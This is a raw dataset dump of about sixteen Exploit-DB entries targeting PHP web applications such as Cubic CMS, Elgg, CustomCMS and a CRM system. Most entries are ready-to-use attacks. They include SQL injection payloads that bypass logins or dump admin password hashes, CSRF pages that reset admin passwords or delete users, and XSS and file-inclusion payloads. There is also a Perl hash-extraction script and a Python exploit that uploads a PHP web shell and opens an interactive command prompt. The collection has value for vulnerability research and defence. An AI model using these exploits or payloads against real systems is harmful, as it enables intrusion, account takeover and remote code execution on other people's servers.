deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30790
Description: Cubic CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-07
Author: Eugenio Delfa

Exploit:
I. BACKGROUND
-------------------------
"CUBIC CMS" is a non-free content management system for websites and 
portals of any size, powerful, adaptable to any graphic design that 
allows users administration 100% professional but simple at the same 
time that website.

II. VULNERABILITIES
-------------------------

II.i FULL PATH DISCLOSURE
-------------------------
CUBIC CMS presents a full path disclosure in the 'Controller Not Found' 
exception management, due to an incorrect 'Software Exception' management.

Syntax: 
  http://www.example.com/id/-22
  http://www.example.com/foo.bar

II.ii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'resource_id' and 'version_id' parameters 
on his '/recursos/agent.php' (Resources Management Module) script via GET HTTP 
Method, due to an insufficient sanitization on user supplied data.

Syntax:  
  http://www.example.com/recursos/agent.php?resource_id=-11 OR 'foobar' UNION SELECT user()-- -
  http://www.example.com/recursos/agent.php?version_id=-22 OR '' UNION SELECT @@version-- -

II.iii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'login' and 'pass' parameters on his 
'/login.usuario' (Users Management Module) script via POST HTTP Method, due to an 
insufficient sanitization on user supplied data.

Syntax:  
  login=Administrator&pass=foobar') or ('1'='1

II.iv Local File Inclusion
-------------------------
CUBIC CMS presents a SQL Injection in its 'path' parameter on his 
'/recursos/agent.php' (Resources Management Module) script via GET HTTP Method, 
due to an insufficient sanitization on user supplied data.

Syntax:  
  http://www.example.com/recursos/agent.php?path=/../../application/config/project.ini

IV. REFERENCES
-------------------------
http://www.proyectosbds.com
http://www.cubicfactory.com/

V. DISCLOSURE TIMELINE
-------------------------
- March 28, 2012: First Vendor Contact.
- Dec 30, 2013: Second Vendor Contact (Still waiting for responses).

VI. CREDITS
-------------------------
This vulnerability has been discovered
by Eugenio Delfa <ed (at) isbox (dot) org>.
Exploit-DB #47973
Description: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
Type: webapps
Platform: php
Date: 2020-01-29
Author: J3rryBl4nks

Exploit:
# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
# Date: 2020-01-28
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/
# Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/
# Version: 1.0
# Tested on Windows 10/Kali Rolling
# CVE: CVE-2020-8424, CVE-2020-8425

# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery 
# that would allow an attacker to change the Admin password and gain unrestricted 
# access to the site or delete any user.

# Proof of Concept Code for Password Change:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="PASSWORDHERE" />
      <input type="hidden" name="change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

# Proof of concept for user delete:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="delete" value="Delete" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #51778
Description: Curfew e-Pass Management System 1.0 - FromDate SQL Injection
Type: webapps
Platform: php
Date: 2024-02-05
Author: Puja Dey

Exploit:
# Exploit Title: Curfew e-Pass Management System 1.0 - FromDate SQL
Injection
# Date: 28/9/2023
# Exploit Author: Puja Dey
# Vendor Homepage: https://phpgurukul.com
# Software Link:
https://phpgurukul.com/curfew-e-pass-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Wamp

1) login into the application
2) click on report on pass and capture the request in burpsuite
3) Parameter "FromDate" is vulnerable to SQL Injection
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fromdate=' AND (SELECT 6290 FROM (SELECT(SLEEP(5)))Kdfl) AND
'SOzQ'='SOzQ&todate=&submit=
4) Put '*' in the value for the parameter and save the item as cpme
5) Run sqlmap -r cpme --batch --dbs --random-agent
Exploit-DB #49391
Description: Curfew e-Pass Management System 1.0 - Stored XSS
Type: webapps
Platform: php
Date: 2021-01-07
Author: Arnav Tripathy

Exploit:
# Exploit Title: Curfew e-Pass Management System 1.0 - Stored XSS 
# Date: 2/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/curfew-e-pass-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Wamp

1) Log into the application
2) Click on pass then click add a pass
3) Put <script>alert(1)</script> in the Full name parameter , rest all fill whatever you want.
4) Now go to manage passes, view the pass you just created.
5) You'll get popup of alert
Exploit-DB #34825
Description: Curverider Elgg 1.0 - Templates HTML Injection
Type: webapps
Platform: php
Date: 2009-06-22
Author: lorddemon

Exploit:
source: https://www.securityfocus.com/bid/43871/info

Elgg is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Exploits require the attacker be an authenticated user; this permission may be trivial to acquire.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Elgg 1.0 is vulnerable; other versions may also be affected. 

<body onload="document.forms.g.submit();"> <iframe name="my_frame" ALING="BOTTOM" scrolling=no width=1 heigth=1></iframe> <form method="POST" target="my_frame" action="http://www.example.com/_userdetails/index.php" name="g" id="g"> <input type=hidden name="name" value=""> <input type=hidden name="email" value=""> <input type=hidden name="moderation" value="no"> <input type=hidden name="publiccoments" value="no"> <input type=hidden name="receivenotifications" value="no"> <input type=hidden name="password1" value="password"> <------ Eye with this <input type=hidden name="password2" value="password"> <------ Eye with this <input type=hidden name="flag[commentwall_access]" value="LOGGED_IN"> <input type=hidden name="lang" value=""> <input type=hidden name="flag[sidebarsidebar-profile]" value="yes"> <input type=hidden name="flag[sidebarsidebar-communities]" value="yes"> <input type=hidden name="flag[sidebarsidebar-blog]" value="yes"> <input type=hidden name="flag[sidebarsidebar-friends]" value="yes"> <input type=hidden name="visualeditor" value="yes"> <input type=hidden name="action" value="userdetails:update"> <input type=hidden name="id" value="id_victima"> <---------Eye with this <input type=hidden name="profile_id" value="id_victima"> <---------Eye with this </form>
Exploit-DB #36003
Description: Curverider Elgg 1.7.9 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-01
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/48946/info

Curverider Elgg is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Curverider Elgg versions 1.7.9 and prior are vulnerable.

http://www.example.com/elgg/mod/file/search.php?subtype=file&page_owner=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f
http://www.example.com/elgg/mod/riverdashboard/?content=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f&callback=true
http://www.example.com/elgg/pg/embed/upload?internalname=%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
http://www.example.com/elgg/pg/pages/edit/%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
Exploit-DB #14007
Description: Custom Business Card script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: JaMbA

Exploit:
# Exploit Title:   Custom Business Card script  SQL injection Vulnerability
# Date: 23/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/custombuss_cardscript.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

 http://server/path/categories.php?selcat=25(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #28101
Description: Custom Dating Biz 1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-24
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18626/info

Custom Dating Biz is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/user_view.php?u=<iframe%20src=http://ha.ckers.org/scriptlet.html>
Exploit-DB #14356
Description: CustomCMS - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-13
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

vendor URL :http://customcms.net/
Price:55$
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
Custom CMS Gaming is a Content Management System geared towards all Gamers that would like to maintain and create fully functional gaming sources. Whether you're interested in running your gaming site as a hobby or as a serious online venture, Custom CMS Gaming makes it easy for all users to create & manage the Gaming website they've always dreamed of. 
#######################################################################################################
Xploit: Persistent Xss Vulnerability


The attacker can insert the xss script in the profile section in the following fields 

1.Details option
2.Gaming Connections option
3.My Contact Info option 
4.Options  option 

Attack Pattern:">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> once inserted goto check your profile.


Demo url : http://server/usercp/profile/edit/    ----> Go here and insert your xss script :) 

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #30960
Description: CustomCMS 3.1 - 'vars.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-29
Author: Pr0metheuS

Exploit:
source: https://www.securityfocus.com/bid/27069/info

CustomCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CustomCMS 3.1 is vulnerable to this issue; other versions may also be affected. 

#!/usr/bin/perl
#Found by Pr0metheuS
#Coded by Pr0metheuS
#Gr33tz-Team
#Dork : intitle:"CCMS v3.1 Demo PW"
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
print "______________________________________\n";
print "[+] Enter SITE:\n";
$SITE = <STDIN>;
chomp $SITE;
print "[+] Enter PATH:\n";
$PATH = <STDIN>;
chomp $PATH;
print "[+] Enter USERID:\n";
$USERID = <STDIN>;
chomp $USERID;
print "______________________________________\n";
#Send Request
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "$SITE$PATH/admin.php/vars.php?page=Console&p=1'+union+select+userid,2,3,PASSWORD+from+user+where+userid=$USERID/*");
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
$con = $res->content;
#FIND MD5 IN TEXT REGEX !!!
if ($con =~ "/([0-9a-fA-F]{32})/") {
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
print "[+] Exploit successful!\n";
print "[+] USERID:$USERID\n";
print "[+] MD5:$1\n";
print "______________________________________\n";
}
else{
print "______________________________________\n";
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n";
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n";
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n";
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n";
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n";
  print "[+] Exploit Failed!\n";
}
Exploit-DB #6284
Description: CustomCMS 4.0 - 'print.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-21
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 21.08.08
Product: CCMS Gaming Portal
Version: 4.0
The price: $55
URL: customcms.net
Vulnerability Class: SQL injection

print.php

Vuln code:

$q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'");


magic_quotes_gpc = Off

http://localhost/[installdir]/

Exploit:

print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*

# milw0rm.com [2008-08-21]
Exploit-DB #34207
Description: Customer Paradigm PageDirector - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: Tr0y-x

Exploit:
source: https://www.securityfocus.com/bid/41184/info

Customer Paradigm PageDirector is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin--
Exploit-DB #49868
Description: Customer Relationship Management (CRM) System 1.0 - 'Category' Persistent Cross site Scripting
Type: webapps
Platform: php
Date: 2021-05-17
Author: Vani K G

Exploit:
# Exploit Title: Customer Relationship Management (CRM) System 1.0 - 'Category' Persistent Cross site Scripting
# Date: 14-05-2021
# Exploit Author: Vani K G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the
two. It occurs when a malicious script is injected directly into a
vulnerable web application.

Attack Vector :

This vulnerability can result in the attacker to inject the XSS
payload in the Title field of the page and each time any user will
open the website, the XSS triggers and attacker can able to steal the
cookie according to the crafted payload.

Vulnerable Parameters: Category input field.

Payload : <script>alert(document.domain)</script>

Vulnerable URL :
http://localhost/crm/admin/?page=services&view=category

Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on Category and click Add New button.
3) Put Payload into the 'Category' input field.
4) Click on Save.
5) XSS payload will be triggered.
Exploit-DB #50046
Description: Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2021-06-21
Author: Ishan Saha

Exploit:
# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
# Date: 21.06.2021
# Exploit Author: Ishan Saha
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1.x
# Tested on: Ubuntu

# REQUREMENTS # 
#     run pip3 install requests colorama beautifulsoup4

# DESCRIPTION #

#    # Customer relationship management system is vulnerable to malicious file upload on account update option & customer create option

#    # Exploit Working:
#    # 1. Starting a session with the server 
#    # 2. Registering a user hackerctf : hackerctf and adding payload in image
#    # 3. Finding the uploaded file location in the username image tag 
#    # 4. Runing the payload file  to give a shell


#!/usr/bin/python3
import requests , time
from bs4 import BeautifulSoup as bs
from colorama import Fore, Back, Style

# Variables : change the URL according to need
URL="http://192.168.0.245/crm/"                     # CHANGE THIS 
shellcode = "<?php system($_GET['cmd']);?>"
filename = "shell.php"
content_data = {"id":"","firstname":"ishan","lastname":"saha","username":"hackerctf","password":"hackerctf"}
authdata={"username":"hackerctf","password":"hackerctf"}
def format_text(title,item):
  cr = '\r\n'
  section_break=cr + '*'*(len(str(item))+len(title)+ 3) + cr 
  item=str(item)
  text= Fore.YELLOW +section_break + Style.BRIGHT+ Fore.RED + title + Fore.RESET +" : "+  Fore.BLUE + item + Fore.YELLOW + section_break + Fore.RESET
  return text

ShellSession = requests.Session()
response = ShellSession.post(URL+"classes/Users.php?f=create_customer",data=content_data ,files={"img":(filename,shellcode,"application/php")})
response = ShellSession.post(URL+"classes/Login.php?f=clogin",data=authdata)
response = ShellSession.get(URL + "customer/")
soup = bs(response.text,"html.parser")
location= soup.find('img')['src']

#print statements
print(format_text("Target",URL),end='')
print(format_text("Shell Upload","success" if response.status_code ==200 else "fail"),end='')
print(format_text("shell location",location),end='')
print(format_text("Initiating Shell","[*]Note- This is a custom shell, upgrade to NC!"))

while True:
    cmd = input(Style.BRIGHT+ Fore.RED+"SHELL>>> "+ Fore.RESET)
    if cmd == 'exit':
        break
    print(ShellSession.get(location + "?cmd="+cmd).content.decode())
Exploit-DB #50158
Description: Customer Relationship Management System (CRM) 1.0 - Sql Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-07-27
Author: Shafique_Wasta

Exploit:
# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Sql Injection Authentication Bypass
# Date: 27/07/2021
# Exploit Author: Shafique_Wasta
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1
# Tested on: Windows 10/xampp

# DESCRIPTION #

# Customer relationship management system is vulnerable to Sql Injection Auth Bypass

# Exploit Working:
# 1. Visit on localhostcrm/customer/login.php
# 2. You will see the login panel
# 3. use this payload ( '=' 'or' ) in username and click on signin you will login into the admin account.

# Vulnerable URL :http://localhost/crm/customer/login.php
# Payload: '=' 'or'
Exploit-DB #49028
Description: Customer Support System 1.0  - 'description' Stored XSS in The Admin Panel
Type: webapps
Platform: php
Date: 2020-11-11
Author: Ahmed Abbas

Exploit:
# Exploit Title: Customer Support System 1.0  - 'description' Stored XSS in The Admin Panel
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4


Stored XSS Reproduction Steps:
1. Navigate to http://TARGET/customer_support/index.php?page=department_list
2. Click on new Department
3. Add the XSS payload into the "description" parameter value
4. Browse to the post to trigger the XSS payload

# POC

POST /customer_support/ajax.php?action=save_department HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 445
Origin: http://localhost
Connection: close
Referer: http://localhost/customer_support/index.php?page=department_list
Cookie: PHPSESSID=6dbp44u1fs8f0ndfqutpn3lbuq

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="id"

4
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="name"

Stored xss
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="description"

<script>alert("STORED XSS")</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--